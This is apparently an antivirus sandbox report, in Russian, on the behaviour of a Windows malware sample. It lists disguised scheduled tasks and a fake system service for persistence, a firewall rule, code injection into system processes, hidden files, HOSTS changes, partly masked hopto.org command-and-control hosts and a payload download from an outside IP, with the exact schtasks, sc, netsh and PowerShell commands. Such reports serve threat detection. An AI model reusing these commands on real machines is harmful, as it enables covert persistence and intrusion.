Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoft\windows\windows update listner
- <SYSTEM32>\tasks\microsoft\microsoft launcher
- <SYSTEM32>\tasks\launch adobe ccxprocess
- <SYSTEM32>\tasks\microsoft\splwow
- <SYSTEM32>\tasks\microsoft\sywi222
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'ImagePath' = '%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe'
Создает следующие сервисы
- 'System Diagnostics Host' %WINDIR%\SysWOW64\SystemDiagnosticsHost.exe
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Window Listner" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes
- '<SYSTEM32>\taskkill.exe' /im svchostnon.exe /f
Внедряет код в
следующие системные процессы:
- %WINDIR%\explorer.exe
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\slpqei55.hbj.exe
- %TEMP%\cloneworkingset.png
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %WINDIR%\media\msldriver.dll
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- %TEMP%\content\2404-680-slpqei55.hbj.exe-15-33-41-884.dump
- %TEMP%\content\2404-680-slpqei55.hbj.exe-15-33-41-973.dump
- %TEMP%\tmp6bda.tmp.bat
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\slpqei55.hbj.exe.log
- %TEMP%\content\3196-4968-mppr.exe-15-33-51-114.dump
- %TEMP%\tmp882c.tmp
- %TEMP%\tmp8917.tmp
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\mppr.exe.log
- %TEMP%\tmpd302.tmp.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\tmpd302.tmp.exe.log
- %TEMP%\tmp75ac.tmp.exe
- %TEMP%\tmp7d00.tmp.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\tmp7d00.tmp.exe.log
- <SYSTEM32>\splwow32.exe
- %TEMP%\cchaoyeh.xt5.bat
- nul
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\tmp75ac.tmp.exe.log
Присваивает атрибут 'скрытый' для следующих файлов
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %WINDIR%\media\msldriver.dll
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- <SYSTEM32>\splwow32.exe
Удаляет файлы, которые сам же создал
- %TEMP%\tmp882c.tmp
- %TEMP%\tmp8917.tmp
Изменяет файл HOSTS.
Сетевая активность
Подключается к
- 'localhost':443
- 'vv######jnj25i5.hopto.org':443
- 'vv######jnj25i5.hopto.org':80
- '93.##3.39.81':5000
- '78.##.209.26':5000
TCP
Запросы HTTP GET
- http://87.##0.186.104/files/loader/SteamSetup.exe
Другие
- 'vv######jnj25i5.hopto.org':443
- '78.##.209.26':5000
UDP
- DNS ASK ui######wgydfhbhuifdf.com
- DNS ASK an######sa9923p.hopto.org
- DNS ASK 2w######jfui309.hopto.org
- DNS ASK vv######oij25i4.hopto.org
- DNS ASK vv######gyuigi2.hopto.org
- DNS ASK 8j######wi6ns92.hopto.org
- DNS ASK pr######ag32dds.hopto.org
- DNS ASK cv######ynwfffgyui2w4.com
- DNS ASK vv######jnj25i5.hopto.org
Другое
Ищет следующие окна
- ClassName: 'NarratorUIClass' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\slpqei55.hbj.exe'
- '%WINDIR%\syswow64\systemdiagnosticshost.exe'
- '%WINDIR%\media\mppr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmpD302.tmp.exe"'
- '%TEMP%\tmpd302.tmp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp75AC.tmp.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp7D00.tmp.exe"'
- '%TEMP%\tmp75ac.tmp.exe'
- '%TEMP%\tmp7d00.tmp.exe'
- '<SYSTEM32>\splwow32.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe" & exit (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr ""%WINDIR%\Media\mppr.exe"" /sc onlogon & exit (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe"
- '<SYSTEM32>\cmd.exe' /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc start "System Diagnostics Host" & exit (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="Window Listner" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes & exit (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe"
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr ""%WINDIR%\Media\mppr.exe"" /sc onlogon
- '<SYSTEM32>\sc.exe' create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto
- '<SYSTEM32>\sc.exe' description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."
- '<SYSTEM32>\sc.exe' start "System Diagnostics Host"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp6BDA.tmp.bat""
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmpD302.tmp.exe"' & exit (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp75AC.tmp.exe"' & exit (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp7D00.tmp.exe"' & exit (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "Microsoft\splwow" /tr "<SYSTEM32>\splwow32.exe" /sc onlogon & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\sywi222" /tr "<SYSTEM32>\splwow32.exe" & exit
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\cchaoyeh.xt5.bat""
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "Microsoft\splwow" /tr "<SYSTEM32>\splwow32.exe" /sc onlogon
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\sywi222" /tr "<SYSTEM32>\splwow32.exe"
- '<SYSTEM32>\timeout.exe' 8
- '<SYSTEM32>\cmd.exe' /c taskkill /im svchostnon.exe /f
